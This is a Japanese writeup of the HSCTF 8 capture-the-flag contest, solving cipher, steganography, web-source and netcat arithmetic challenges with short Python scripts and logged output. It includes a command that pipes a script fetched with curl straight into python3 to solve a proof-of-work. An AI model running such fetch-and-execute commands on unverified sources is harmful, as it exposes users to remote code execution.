HSCTF 8 Writeup

この大会は2021/6/15 9:00(JST)~2021/6/19 21:00(JST)に開催されました。
今回もチームで参戦。結果は11278点で1164チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

message-from-digitalocean (misc)

動画の最後にフラグが書いてあった。
f:id:satou-y:20210705200952p:plain

flag{thank_you_digitalocean!}

sanity-check (misc)

問題にフラグが書いてあった。

flag{1m_g0in6_1ns@ne_1m_g0in6_1ns@ne_1m_g0in6_1ns@ne}

NRC (web)

右クリックはできないので、ブラウザのデベロッパーツールでHTMLソースを見る。リンクされているuseless-file.cssを見ると、コメントにフラグが書いてあった。

/* cause i disabled it in index.js */
/* no right click = n.r.c. */
/* flag{keyboard_shortcuts_or_taskbar} */
flag{keyboard_shortcuts_or_taskbar}

discord-flag (misc)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

flag{we1c0me_t0_hsctf!}

Return of the Intro to Netcat (misc)

$ nc return-of-the-intro-to-netcat.hsc.tf 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
===================

Solution? 

別のターミナルで、実行。

$ python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
Solution: 
s.AAB1UQd6uYeLbkJyXnDTMUNp+CpaHK3tPXgLs4bFdIIQ5mc29YkEO43238IU9IwoMO0pmY8RRHRC12uIVNKhoIEJkku9hhqrJJYUe/pj5mkgkCNJ7KIh9UKYeJoRVFCywMrfiVjlhHD6hUSQ0DuZW8Wfa2EAN01/p5qXMQ7XUG35ZRGQ35zeSdUiYvlKchjd/U+fU4vlVHk2JIRSMMGpm3O9

この結果を入力する。

$ nc return-of-the-intro-to-netcat.hsc.tf 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
===================

Solution? s.AAB1UQd6uYeLbkJyXnDTMUNp+CpaHK3tPXgLs4bFdIIQ5mc29YkEO43238IU9IwoMO0pmY8RRHRC12uIVNKhoIEJkku9hhqrJJYUe/pj5mkgkCNJ7KIh9UKYeJoRVFCywMrfiVjlhHD6hUSQ0DuZW8Wfa2EAN01/p5qXMQ7XUG35ZRGQ35zeSdUiYvlKchjd/U+fU4vlVHk2JIRSMMGpm3O9
Correct
You got it! Here's what you're looking for: flag{the_cat_says_meow}
flag{the_cat_says_meow}

aptenodytes-forsteri (crypto)

アルファベット大文字の中で18シフトしているので、戻す。

letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

with open('output.txt', 'r') as f:
    encoded = f.read().rstrip()

flag = ''
for c in encoded:
    flag += letters[(letters.index(c) - 18) % 26]

flag = 'flag{%s}' % flag
print flag
flag{QWERTYUIOP}

queen-of-the-hill (crypto)

Hill暗号。https://www.dcode.fr/hill-cipherで復号する。このときkeyは3x3で指定する。

FLAGCLIMBYOURWAYTOTHETOP
flag{climb_your_way_to_the_top}

LSBlue (misc)

$ zsteg lsblue.png 
imagedata           .. text: "Uhv4BR$.<!(2#(0\"(2#*4*4@;L\\l"
b1,b,lsb,xy         .. text: "flag{0rc45_4r3nt_6lu3_s1lly_4895131}"
b2,r,lsb,xy         .. text: "UUTFUUUW"
b2,g,lsb,xy         .. file: PGP\011Secret Key -
b2,g,msb,xy         .. text: "iiUueUUu"
b2,b,msb,xy         .. text: "TUUUEUTAUE"
b2,bgr,msb,xy       .. text: "VU_UUUUeY"
b4,r,lsb,xy         .. text: "UEUffufffgUfffeeEfUVVuVeUUfVffUUVfvvDffVfUUWeFfVfUfeeUeVffUeWffwffeVffeffVfefffvfUEeffffeUgUUUffVeVeUUVfffUfUfeUWvffVefefUfvfgUUVffgeUvfUUfgffeVeVgfffUUUUUUUUUUUVehveUfUVfegeUUUUVgeUVggeUUUUUUUUUUUeVgvVUUUvUEUVvVuUUUfeUUUVvfVffffVfffeVfgeUUUUUUUVffeUUUUVeV"
b4,r,msb,xy         .. text: "jfnn\"ffjf"
b4,g,lsb,xy         .. text: "\"\"\"\"\"\"\"2"
b4,g,msb,xy         .. text: "DHDDDDDDDL"
b4,b,msb,xy         .. text: "7swwwww73sw337s73swww7swwww7w7773www77sww7swwww7swwwwwwwwswwsw7swwwsw7s7ww77sswwwww7wwwww7sww7333s333swww7333s7s"
flag{0rc45_4r3nt_6lu3_s1lly_4895131}

opisthocomus-hoazin (crypto)

フラグを1文字ずつXOR暗号化した後、nの剰余を算出しているが、XORした結果がnより大きくなることはないので、XORで復号する。

with open('output.txt', 'r') as f:
    n = int(f.readline().rstrip())
    e = int(f.readline().rstrip())
    ct = eval(f.readline().rstrip())

flag = ''
for c in ct:
    flag += chr(c ^ e)
print flag
flag{tH1s_ic3_cr34m_i5_So_FroZ3n_i"M_pr3tTy_Sure_iT's_4ctua1ly_b3nDinG_mY_5p0On}

pallets-of-gold (misc)

Stegsolveで開き、Gray bitsを見たら、フラグが見えた。
f:id:satou-y:20210705201830p:plain

flag{plte_chunks_remind_me_of_gifs}

not-really-math (algo)

mが乗算、aが加算で加算を優先。答えは2**32-1の剰余。

$ nc not-really-math.hsc.tf 1337
== proof-of-work: disabled ==
2a1m2a1m3
: 27
1m2a5a2a2m2a1m4a3a1a3m5a2m1a4
: 

mで分割して加算の計算をした後、掛け算をして、2**32-1による剰余を算出する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('not-really-math.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(12):
    data = recvuntil(s, '\n').rstrip()
    print data
    formulas = data.replace('a', '+').split('m')

    adds = [eval(c) for c in formulas]
    ans = 1
    for a in adds:
        ans *= a
    ans %= 2**32-1

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
3m3a2a2a3
:30
3m1a2a1a1a2a5a1m4a4a2a1a1m1a4
:2340
20m79a66a60a27m88a68m32m12m50
:1012826115
197a206a67a191a194a53m251a202m62m96a307m275a174a284m47m32
:2215205283
1a3a1m3m1m1m1m2m1m3a3a1a2m2a1m3m2a1m3a3a1m1a3a2m3a3a3m2m3a2m3m3a2m3a3a2a2a1a1a2m1m2m2a3m1m3m2m3m3m3a2m2a3m3a2a3m1m3a3m1m1m1m3a3a2m3a1m1a2m1m2a1m3a2m2a2m2m2m2a3a3a3m2a3a2a2a2a1a3m2a3a3a1m2m3a2m1a1a1m3
:4087585275
888m889m741m894a282m136m878a615m968a16a849a68m792a968a628m270a786a112m143m488m87a689a328m137a744m760a215a708m453a682a933a442m184m461a353a710a248a240m992m274a816m613m711m411m973m74a855a171a816m186m457
:438936345
10m17a12a3m28m26a28m4m22m6a5m26m8m21m23m30a20m21m13m29m5m11m15a30a19a13m5a23m15m27m16a13m7m17a25m21m14a8a9m24a17m9a6a23m21m26m7a18m26m17m25a21a11a12m11a6m24a29m1m24m9m31m26a11m26m30a31a11a12a8a13m29m20m18a13m6a23a9m22a24a26m31m6m7m3a17a28a4a5a28m7a7m16m3m7a8m27a17a8m27a13a24a27m17m13m14m3a29a20a30m11a4a15a19m1a26m11a5m29a1a23m1a2m15m18a30m1a24a11m11m29a23a4m15m29m8a27a15a6a16a22a10m8m24a25a29m27a12a21m11m26m29a25a18a3a28a26m9a6a25m10a20m8a31m10a18a2m10a12a27m25a6m21a10a17m15a7m31a29a2m25m31m30m20a5m7a14m25m24a1a20a29m13m27m17a21a18m19a10m19a4a28m12a5a31m1a27a31m7m28a3a12a14a6a30a14a29m29m11m23a12m7m20a31a18m10m8a4m23a4a23a26a2m13m15m27m2m18a17m11a11a27a25m16m23m13a8m9a1m13a31m22a20m16a21m29a29a20m11a1m12a18a21a6m17a19m7a16a10a11a29a15m13a19m5a20m1m13m31a6m2m29m10a29a30m10m31a18a6m12a5a4a15a18a17a26a10m23a2m4a22m27m20a14a11a16m1a20m21a21a27a28a22m9a10a12a22m12m3a10a22a17a4m5a30m17m11a27m19a8a30a31a21a27m28m13a11a4m5a26a27m17a1a10a19a25a13m18m8a2a10m4m29a8m31m11a8a26m2m3m9a30m9m21a18a2m31a4a16m3a16a14a18m4m5m21m6a6a13a2m2m24m20m11a8a21m22m14a29m27a5a18m30a27a22m3a11a21m24a26m24a27a5a14m9m13m28m20a1a2a22m18m3a2a13m15a6a11a8m21m30m11a16m9m1m11m17m20a19m16m22a14m29a3m21m11a4a9m7a30a20m10m11a18a11a18m5m11a25m24a28m17m27m6m20m2m13m18m4a26m15a4m5a22a24m2m4m12a7a8m12m27m28m30a3m5m2m27m10m4a11m14m6m6m28a18a24a20a30m7a6a8a13m22m19m6m31m1m20a4a15a22m29m24a10m21m11m1m13m30a26m18a20a27m31a29m6a19a7m7a17m31a29m19a13a26m5m8m12a17m12a4a23m24a23a15a6a5m11m26a9m24m1a16a6m31m28a29m5a15a13a1m5m21m12m8m30a20m3m30a20m29a30a6m16a14a31a8a19a18m29m22m16a10a16a29a12a23a26a23m10a28a23m12m21m2a21a3a4a2a26m28a13m26m9m17a30a23a19a14m31m24a27a26a27a30a19m29m19m24m25a15a22m19m27m22a31m24m22m3a15a1m19m31m12m18m2m13m2m14a12m30m10a7m5m13a13a26m5a29a26m24a31m4m24a23m11m26a30m15m11m20m14m6a28a31m17a27m9m11m15m19m9a10a10m13a24m27a3m10m19a7m3a13a11a20a14m28a16m20a9a2m5m22m5a22a23a24a24m9a20a6m28m1a20m23a23m14a2m23a2a22a8a19a15m27m2m26a3m30m7m4m25m21a12m4a28a10a15a10a3m12a13a27a25m9a1a10a17a15m31m9m24m22a20m21a10a10a8m3m31a30a17m4a23a14m4m21m3a8m30a24m8a29a17m15m27a30a6a27m29m10m22m30m28a31a22a7a23m8a16a5m12a10m1m7m21a6a27m29a25m9a9a30a22a21a15a1a7a29a11a29m15a31a3m5a5a24m1a16a4m3a8a16m26m31a26a2a4a31a4a15a4a23a24a13m31a28m6a6a2a18a9m3m10m24a30a25a21a27m10a15a24a31m5a7a11m30m18m26a8m21m31m20m8a21m29a15m20a10m24a1a31m22a8a14a16a18m25m6a9a24m2m28m17a25a8a28a28a1m5a28m29a30a12a25a27a3a21a11m31a30m30a29m21a17m29m1m23a29m5a21a19m30a16a17a9a5m7a17m12a1a27m10m18m4m19m23a24m1a29m19m2m20m6m27m30m14a15a10a13m14a23a15a13a17a29a10a24m19m3m15m27a15a11a12m14m29m30m18m19m19m5m30a4m11a12m20m11m20a11a25m17a27a8a15a14m1m29a2a3m29m17a20m7m3a21m11m28m29a3a28m31a7a22m27m27a10m31m23m1m7m25a3a7a25m30a7a22m13a11m7m23a11m27m25m7a16a12a19m12a27m4m19m31m7m30a1a31m14a18a1m11m24m28m5m20a15a6m29m5a31a26m10a31a29a7a6a11m25m30m27a20a2m29m23m13a15a22m4a31a31m24m28m11a14a8a3m31m29a12a21m24m21m31m21m13m27m24m25a20m2a10m22m16m20a6m23a16a26m16m27a18a10a1m26m8m20a27a6m24a2a4a7a14m22m28m15a25a2m13m29m19a19a20m1m9m8a22a11m4
:3248384310
3a2a5a1a3m2m2m5a2a3a1a1a4a1m3a5a5m5m2m2a3a4m2a4m5m2a3m2m5a4m3m4a1a4a2a5a2m1m2m5m4m3m3a5a4a4a3a4m2a1m1a1m4m1m2a2a1m2a5a1m3m1m1m5m2m3m2a4a5m2m3m1m1a2a3a3m2m1m4a1a1m4m5m5m3a1a3a2m3m5m2a2a5m5m1m5a2m2a5m1a1m5a1a3m2m4m4a2a5a2m2m4a4a2a2a5a3a3m2m4a4m3m1a2m2m3a5m3m4m5a2m3a2a4m1m2m1a1m2a2m5a2a2a3m5m1a3m5m3m2m1a5a4a1m4m1m1a1m3a4a4m1m5m3a1m2m2a2a1m5m2m1a5a5a4a5a5m1m5a3a4m4a3a3m4m2a2m4a5a1a4m2m1m1m2a4a5a1m4m4a1a3m3a1a4a3m4a1a1m3a4m5m5a2m2m5a5a1a2m2m3a4m2m2a1a5a1a2m4a5a4a2a4a5m2m2a3m5m3m5m1m2a5a2m4a5m4m4m5m5m1m4a4m1m2m5a5m5m3m4m3m3a4m3a5m1m3a2m5m1m4a4a2a5m4a5a2a1a2a2m2m5m3a4a2m4a5a1m1m3m2a5a5a2m5m3a5m4a3a5a5m2a1a1m3m5m5m2m4a5m2m1a2a3a3m3m1m1a3a5a1a5m3m5a2m4a3a2a5m5m5m3a5m3m3m2a4m5a5a4a1a3a2m3m2m2a1m5m1m2a5a3a4a5m4m3a2a1m2m2a4m3m2m4a5a4a4a3m5a3m3a1a5m5a2m1m1a3a2a3a5m1a4a5a5m1a1a1a2a1m2m5a5a5a2a3a4m3a3a5m1m5a1a5m2m5a5m2a5a4m2a5a2m1a4a4m3a4a4m1a2m5m2a1a3a3a4m1a3m4a5a5m4m1m1a1a5a4a1a3a1a3m5m2m3m4m3a1m4m4m4m4a3m1m4a4a4m4m3m4m1a1m2a4a3a4m5a3a5m4m4a5m3m2a1a1m2m3a5a4m5m1m1a5m1a5a2m3m5m3m5a4a4a4a4a3a2a4m4a4a2a2a4a2a1m5m4m4a2m2a1a3a1m4a4m3m4m2a4a1a3a3m3a2a2a1m2m2a5a5m3m5m4a5m5a3m4m3a5m1a3m1a5m4a5a2a2m5a1m4a4m3m2m3a2a5m4m5a2a2a2a1a2m3a5m3a3m2a3a1a2a2a2m5a1a1m1m5a2m1a5a1a5m1m3a5a3m5a3a3m4m1m3a5a2m5m5m3a1m3a4m4a1a3a3m5m3m1a4m4m4a2m5m4m4a2m3m5m1a1a1a1a5m5a1a4a2m3m5m4a5a2m3m2m5a2a3m5m1a2m2m3a2a3m3a3a2a2m5a2m3a5m1m4m1m3a1a1a1m1m2m1a3a5m4a4a4m4a3a2a1a1a5a2a2a4a2m2a5m1m5a2a3m5a1m2m2a3a4a5m1a3a5a2m3a4a1m2m4a2a3a2m4a4a2a3m1m3m2a4a3a2m4m4a4a2m1a1a1m3a4m2a1a4m1m2m1m4a5a2a4m5a2m5m3a5m2a4m1m4a2a1m4a2m3m2a3m5a2a1a4a4m5m4m1a5a3a5a3a2m2m4a1a1a2a4a4a4a3a3m5a3m5a3m5m4a4m1m2m4m5m3m5m5a3m2a5m3m1a3m3a2a4a1a3a5m3m4a1m2a5a5a2a4m3a4m1m2m5a5a2m2m2a5m4a3a3m2a5a4m3a3a4a3a3a1m5a3a5a4m5a4a1a3m1m2m1m1m1m4a4a1a2a1a2m1m2a5m4a5a5a3a4a3m5a5a1a2m3a1m5a2a3m5m2m2a4a1a3m5m3a2m4a1a4m1a3m5m2m2m4m5m1m2m3m4m1a4m5m1a4a5a2m2m1m2a2m1a5a1a3a3a2m3m2a1a2m4m3m5m1m2a3m5m1m2a5a1a1m4m3a2m4m3m5m4m2m5m3m2m5a5m4a1m5a1a4a1m3a1m3a3a5a4m3a1m3a4a5m3a5a5m1m4m1a1a3m1m4m4a1a3m2a4m3m5m5m2a1a4a1m5m5a3m5m5a1a5m4m5m4a1a1a2a5m2m2m2a4a1m3m2a1m1a1a4a1a2a2m3m5a5a2m3a5m4m3m1m2m4a4a4m5m5m4m2m5a3a4a5a1a4a1a1m4m5m3a3m2a2m5m5a4m4a5m1m2a4a5m2m5m2m1m3m3a1a2m5a4a5a5m4a2m1a2a3m1a5m3m2a2m4a5a5m2m4m5m1a1a1a4a3a4m4m1m2a4a2m4m4a3a3a1m3a3a2m4a1m1a5a1m1a3a2a2m1a4a3m2a2m4a2m5m5a5a4m3a3a3m2m5a1m1m2m2m5a3m5a5m1a4m4m2m3m4a1a5a5m5a3m1m2m2m2a1m1a2a3a3m5a1m2a2m1m5m5m1a3m2a4m4a3m3m5a1a3m3m2m2a1a4m1a1a3a2m3a4m2a4a4a1a5m1a1m5m1m1m3m3a3m4m3m4m5m3m4m3a5m4a5m5a3m3a2m4m2m4m2a5a5a4m4m1m1m1a2a2m4a2m3m3a2m3a3m4a1m5a3m4a5a4m1m1a4m5m4m1m5m2a4m2a2a1a1a5m2m1m5a3m4m3m5a3a4m5a3m4a2m1m1a5m1a4m3a1a2a5m2m1m4a4a2m1m4a5m2m2a4m1m5a5m5a1a5m4m5m2m3m5a1m3a2a4a5a1m5m1m1m1a1m3a3m5m2a1m3m5m4a3m3a4m4m3a1m2a4a2m5m4a2a2a5m3a1a4a1a1m3m3a1a1m5a2a2a4m4m3m5m1a4a3m5a2m5m1m4m5a1a5m4a3m1a1m5m1a4m3a3m3m1a1a1m3a3a5a1a3a4m5m1a3a2a5a5a5a4a4a1a2a4m1a3a3a3a2m3a4m4m4a2m4m2a1a4a3a1m1m4m3m3m3a4a1m4a4m5m1m5a3a3a4a2a3a3m2a3a4a4m3a3a5a3m2m4a2a2a3a3m4m4a1m4m4a4m2m1a2m2m2a1m1a5a3m1a3a4a3a3a1a2m1a1a3m3m4a3a4a4a1a2m5a5m2m3m3a4m3m1a4m5a2a5m3a3a1a5m3m2m3m4a3a5a1m2m2a4m3a2a1m4m4a5a1m5m3m3a1a4m5a3m2a1a2a5a5a3a2m4m4a1m3m3m1m4m5m3m2a4a1a1a4a5a3m2m1m1m4a5m2a3m1a1a1a1a1m1m5a4a3m3a1m3m3a2m3a2a3a5m2a2a5a1a4m3m3m5a1m5m4a1m1m3a1a3m3a2a5a3a3m2a3a4m2m1a5a2m5a4a2m3a3a1a5m4m1a4m3m4a3m2a1m4a2a4m4m1a1m3m2m3m4m4m2m3m5m1m5m1m2m2a3m4a1m5a2m5m5m5a2a5a2a1m2a5m1m1a5m3a1m3m5a2a4a2m2a5a1a4m2m3m3a3m2m5a1m5m3m2a3m5a5a4m5m5m3m5a3a5a4m2m4m5a4m5a5m4m3a1m3a5a5m3a5m5a5m1a1m2a1m3a1m5m2a2m1a4m3m2a2m1a1a5a5a4a5a5m4a4a3a1m2a3m1m1a2a5m5m4a5m3m1m3a5a2a4a5m4m3m1a5a2m1a4m3a4m3a4m1m4a5a3a5a5a1m3a4a2m5m1m1m1m1m1a1m4a2a1m5a3m2m3m2a4m4m4a2m1m4a4m1m2m2a3a1m4m5m3m2m2m2m4m5m4m3m2m1a2a4a2m3a4a1m5a4m5m5a4a3m2m3m1a3a2m5m4a3m5m1a2a4m5m3a4m1a5m1m4m3m2m3a4a3m1a4a4m1a3m3a3m4m5m2m1a2a2a5a3a4a5m2m1a1a3m4m3m1a5m5m2m2a2a2a4a3m4m3m2a4a5m3a1m1m1a4m2m4a3a4m1m1a4m4a1a1a1a1m1a5a3m1a3a2a3a5a5m3a3m3m4m1m1m1m2m1a4a1m1m1m1a1a4a4m1m3a2m3a2m3m3m1m1a2a3m2a3m5a1a1m3m5m1a3m2a3m5m2a2m4m5a5a3m4a2a4m2m2m2m2a4m4m5m4m3m4m2a3a5a2a2a3m2m3a5m5a5m5m4a3m1m1a5a1m4m5a4a5a2a4m3a2m3m3m4a3m4a1m3m5a2a2m2m2a2a2a5a2m1a3a2m3a4a1a1a2m3m1m3m1m5a2m5a3m3a4a2m1m1m3m1m4a3a3m1m3m1m2a2m3a3m3a4m4m1m3m4a2m4a2m1m2m4m2m1a5m5a3m3a2m4a4m5a5a5a2m4m4m4m3m5m1m4m2m1a5a2m4a1m4m4a3m2a2a2a2m5a1m4m2m1m4m4m4m3a1a5m4m3a3m1a4m4m4m1m4m5m1m1a1m1a2a2a4a2m1a3m1a1a4a5a5m1a1m4a2m2a1a4a5a3m2m4m4m1m5a3a1m1a5a2a5a2a4a3a5a3a2a4a4m3a2a4m4a3a3a5a5a2m3m2m5m2m1a2m2a3m2m3m4m5m3m5a5a2a5m5m2a2a5a3m4m3a4a1m5m5a5a1a2m4m1a3m2m4a5a1m4a5a4a1m4a4m3m4m2m1m4m2m5a1a2m3m4m2m3a3a1a5m1a5a2a5a2a3m5a2a5a2a5m5m5a3m1m2a4a4a3a4a4m4m1a4a5a1m5m2a2m5m4a2m1a1a5m1m2a4m1a4a5m3a5m1a1m4m4m4a1a3m4a4m1m1m3a1m5m5m4m1a3a5a2m1a3a3a5m1m1m5a5m3a1a2m4a3a5a1a2a5m4m2a1a4m3m5a5m2a1a4a2a3a1m5a2a4m4a3a5m5a3m4m3a1m5m2a3m5a3a5m4m5m1m3m4m1a1m3a1a2m3m5a5a2a5m1m5a5a2a2a3m3m1m4m3m2m5m1m2a4a1m5a3a4a3m5a2m3m2m2m3a5a2a1m1a1m2m4a3m3m2a5a1m5a4a1a3a2a4a2a5m5m3a5a2m3m1m2a3a2a4a1m3m1m4m4m2a2a3m2m3m2m1m4a5a5a3a2m5a1a5a3m5m2m2m2a1a1m4a5m2a5a4a5m1m3a2a1m3m1m3m3m2m2a2a5m4a5a5m5m2a4a4m4a5a1a3m1a3m4m1a3a3a3m1m3m4a3m3m4m1a4m5a2a4m3m3m4m5a1m3a3m5a4a4a3m5a3a5m4a3a5a5m2a1m4a5a4m4a5a5a4a3m3m2m2a3a5m2a4a1m3m1m4m3a2m4m2m1a3a2m3m4m3a4m4m3a5a4m1m2a5a1m2m2a4a4m5m5m4m2a1m1
:3033114840
1a4m1m4m1a4a3a3a2m1a3a4a4a4m4m5a4a4a5m1a4m1a5m4a1m3a4a4m2a1m2m1m3a5a1m2m3a3m5a5a1m1a4m1m4a3a4a5m1m2a3m1a2a5m2a5a2a3a5a4a1a1m5m4a4m2m1a3m2m1m5a1a1a4m4a5a1a5a4m5m5a1a5a1m5a3m2m5a2a4m1m5a4a4m3a5m4m4a3a4m1a3m2m2a1a1m2m2a4m5m1m5m4m1a3m5a2a3m5a1m3a2m1a2a1a1a3m2a1m2m5a3a4m1m5m1m4a1m4m5m3m3m2m1m3m3a1a3m2a5m1m3m2a5a3m1m4m1a2m3m5a4m5m1m5m5m2a1a1a5a4m5m5a1m5a3a4a1a4m2a1m5a1a1m1a1m4m5m1a1m1m5m5a4a3m3m5a2a1m1m4m4a2a3m4a5a5a2a5a2m2m4m4m4a3m3m3a5a5a2m4m2a1a2m2m5m2a3m4a4m5m4m1m2m3a2m1m2a5m1m2a1a2a5a5m4a3a1a4a2m5m5a4a2m3m5m2m3m5a3m3m3m2a1a5a1a3a4m4m2m3m4a2a4m5a3a3a3a5m3m1a4m3m4a1m3a5a3a2m1a1m3m2a1a4m5a3m4m2m5a3a3m5m4m1m3a2a3a4a5a4a3a3m2m3a5m2m2a2a5m3a4m1a3m4a3a3m4a5m1a3a1m4a2a4m1m5a2a1a3a3a1m5a4a3m4a4a4m5m2m3m4m5a4m1m1a1m5m3m1a2m4a2a2a2a3a3m5m2a2a5a4m1m1a3a4a5m5m2m1a5m2a4m3a1m1a1m5a5a4a3m5m1a1a2a2a2m3a2m5m4a2a5a5a5m1a1a5a4a4m4m4m5a3a2m5a3m1a3m1m1a3m1m5m1m2a4a2a3a5a3m1a5a2a3m3a2m5a2a1m5a1m4m4m4m4a3m4a2a2m5m3m2a3a4a4a1a3a1a5m1a1a2m3m3a1m1a2m4m5a4m2m4m4a5m1m3m3a1m4m2a5m3m5m1m4a2m3a3a1a5m5a4m1m5a5m1m5m3a3m2m2m4m2a1m3m4a3a4m5a2m4a4m2a5a3m5a5a5a5a3a5m5a3m1a2m5m1m1a4a5m3m4a1m1m2a3m4m3a3a5a5m2a3m3a2m5a1m5m4a1m2m2a2a1a2a3m5a3a2m4a1a5a5a1a3m5a2m2a5m1m4a3a5a3m2m4m3m1m2m4a3a1m4a2m2a2m1m5m2a4a5m1m5a1a4a2a3a3m1m2a2m2a1m1m4a1a2a2m2m2a2m4a5m5m1m4m3a5a4m1a4a4m5a4m4a2m5m5m3m5a3m5a3a3m3m4m4a1a4a2a3a3a4m4a1a3m4m4a3a5m3m3a5a4m4m4a1a2m2a3a2m1a5m2a5m3a5a4m4a3m2a5a2m2m3a3m5a4m5a3a1a4a4m3m5a3m5m4m1m2a3a1a1a1a1m1a5a5m1a2m1m2m2m2m2a2a3a1a5a5a2m5m3m2m2m1m4m2m2a1m5a3a3m5m3m3m3m5m4m3m4a1m5m1m3m2a4a4a2m3m3m5a2m3a5a3a4a5m4a3a5m5m4m2m5m4a1a3a3a2a1a3a4a5m4m5a5m5a4a1a5a2a1m4a1m3m5a4m1m3m4m1m4m3m1a5a1m4a5m3m5a1m3a3a2a5m1a2m2a3a3a3a5a4m1a2m1m3m3m2m2m4a2m5m3m1a3a5m1a1m2m2m3m1a4m3a4a3a4a3m5a3a2m4a3a5a3a5a1m3a3m5m2m1a3m3a4m3a3m4a1m5a1m1a3m4m2a2a2a5a3a2m4a3m5a1a2m2m1a4a3a2a3m5m4m3m5a5a3a5a1m5m5m5m5m2a5m4m4a3a5m3m5m3a1a3m2a1a4a3a1a4m4a2m5a1a3a2m2a1a1a3m2m2m1a5a2m3a2m2a3a1a1m2a1a1a3a1a5m3m4a4m5m2m2m2a3m3m1a5m5a2a4a2a5a5a4m5a5a5m2m5m2m3a4a1a2m4m4a5a5a1m2a2a4a4a3a3m3m1m4m4m3a2m1m3a3a2m3a2a3a1a3a4a2a1m4a1m1m5a3m5a2a3a4a5m4m3m3a5m3a1m4m1m2m1m5a5a2a1a1a1a5m2a5a4m5a1a3a2a2m4a3a2m2a2a3a5m5m3a1m3a2m3a3a4m1m3a2a4a3m3m4m4a4m4a1m5a2m1a1m4m3a5a3a2m2m2m3m4a4m1a1m3a5m5m5m3m4m4m1a3a1a5m2m3m5a3m3a2a4a4a2m4m2a3m4a4m2m4a4a5a3a5m3a1m5a2a2m1m2m3a5m2a1a4a2m4m2m5a1m3m1m2a1a5a5a3m4m4m4a3a4a1a5m5a4m2a5a3m2a5a5a5a1a3m5a2a2a1m1m4a3a3m5m5m2m1m3a4a5m3m4m1m1m5m1a5m1m4a1a2m3m4m2a1a3m2m1a4m1a2a3a5m5a2a4a1a4a2a2a5m5a1m1m3m4a3a2m5m4m1a5m3m3m2a5m4m3m3m4a1a1a4m3a2m5m3m1m3a2a4a1a1a2m3m3a5a2m3a2m2a4a4a5m1a2a2a4m4a2m2a4m1m5m4a1m2a5m2a2a2m2m1a3a4a3m4a2m5m5m1m1a3a4m5a4a5a1a2m4a2m3m4a1m1a4a4m3a1a3a5a2a2m1a5m5m3a1a3a2m5m3a4m2m3a4a2m1a5m3m2a1a5m2a3m1a5a2a1m2a5a1m2a3a3a2m4m5m3a3m5a3a3m4m4a1a5m1a5m5m4m2m3m4m2m1m1a5m5m2a4m1a3m1a2m1m4a5m5a3m2m3m4a2a2m2a3m3m5a5m1m2m2a3m2a5a2m5m4a5a4a1m1m5a3a2m2a5a4a1a1m4a5m4m4a2a5m5a4a4a4a5a4a5m4a2a2a2a3m1a4m4a5m1a1a4m1a2m1m3a2m2a1m1m2m5m3a2m2m1m1a4a4m5m2m2m5a5a3a4a4a2a2m5m3m3a2m1a1a3m2a1a3m4a3m5m3a5m3a3a3a2m2a2m2m3m1m5m4m1m5m3m2m3m2a4m4a1m1a4a5m4a1a5a4a5m5a4a1a2m2a2a2a1a3a3m3a2m1m4a1a1a4a3m5m4a3m3a1m1a5m2m4m2a3a5m2m1m4a5m2m5a1a1a3m2a5a1m5a2a4a1m2a2m1a2a1m3m3m4m2m1m1m2m5m3m4m5m1a1a2m5a5a1m4a1a5a1a4a4a3m2m4a2a2m5m3a4m2m2a3m1m4a2a1m3a2m4a5m1a3a5m1a4a1m5a3a2m4a5m2a5a1a2a1a3m5m2m1m5a5m5m2a2m2a5a4m3a2m1a5a3a3a1m3a1a5a1a2m2m1a1a5m4a3m1m2a3m5m4m5a5m5m4m1a4m1a5a1m1m3m5a5a5a1m3a3a2a4m2a2a2m3a2m4a2a3a2a2a4m4a2m1a5m4m3a4a2m3m3m5m3a5m4a4a3a2a3m4a3a5a1m5m4a3a3m4m5m3a3a4a5a2m4m3m3m2m2m3a1a3m4a5a3a5m3m4a4a2a1a5a5a4m1m3a1a2a4m4m4a3m3a1a4m1a5a5m1a3a4m5a4m5m4m2a5m3m1a1a3m5a2m5m5a2m5a1a1m4m4a4m1a3m4m4a5a4m5a2m3m4a2m2m4m1a4a2a4a3a4a2m4m5a1m3m2a1a5a5m5m1m3m4m2m3a4a3m1a2m2a2a4a5m4a3m5m3m2m4a1m4a2a4a3m3m4a5m5m3m3a1m4m4m1m4m4a3m2a3m5a1m3a1m3m5m1a3a1m2m5m2m4m4m4m3m4a3m1m3a5m4a1m4a4a4m5a1a4m1a4m3m5a5m3a4a3m4a3m2a5m4a5m1m5m5a2m2a5a2m1m2a4a1a1a4m3m1m4a4m2a1a1m5a5m4a4a5a3m2a3a3a5a2m4a3m5m5a5m3a3a1a5a2m1a3m3a4a2a2m1a1m1m5m2a3a2m2m5m2m4m3a4a5m5m4a1m1m5m1m2m2m5m5m1m5m4a1m5a2m1m2m3m5a5a5m4m1m2a1m4a5m5a1m4m2a1m3m1m1a1a1m1a2m4a2m1m3m2a1m4a3a1m3a3m4m3m5m1a2m1a3a5m2m1m2m4m2a3m5m2m5m1a3m5m3a4m4a4m5a1m1a2m2m2m5a3m3a2a2a4m5a4m1m4a2a5m5a4m4m4a4a2m4a4m3a2a2m5a4m1m1m2a5a2m2m3a1m3m1a4m4a5m2a4a1a3a1m5a5a1a3m3a4m4m4m2m2a5a4m3m3m4a3a2m1m1a4a5a5m3m1m1m1m5a4m5a1m5a3a5m5a5a1a4m1a5a2a3m3a5a1a4a4a3m3m1a4a5m1a3a2m1a2m4a1a3m2m1a4a2a4m2a5m4m4m2m2a3m2m4m5a4a2a1a2m3m5a5m4m3m2a3m4m5m1a2a2a2m5m1m2m1a4m5a4m2a5a4a2m5a5a4a5a5m2a5a1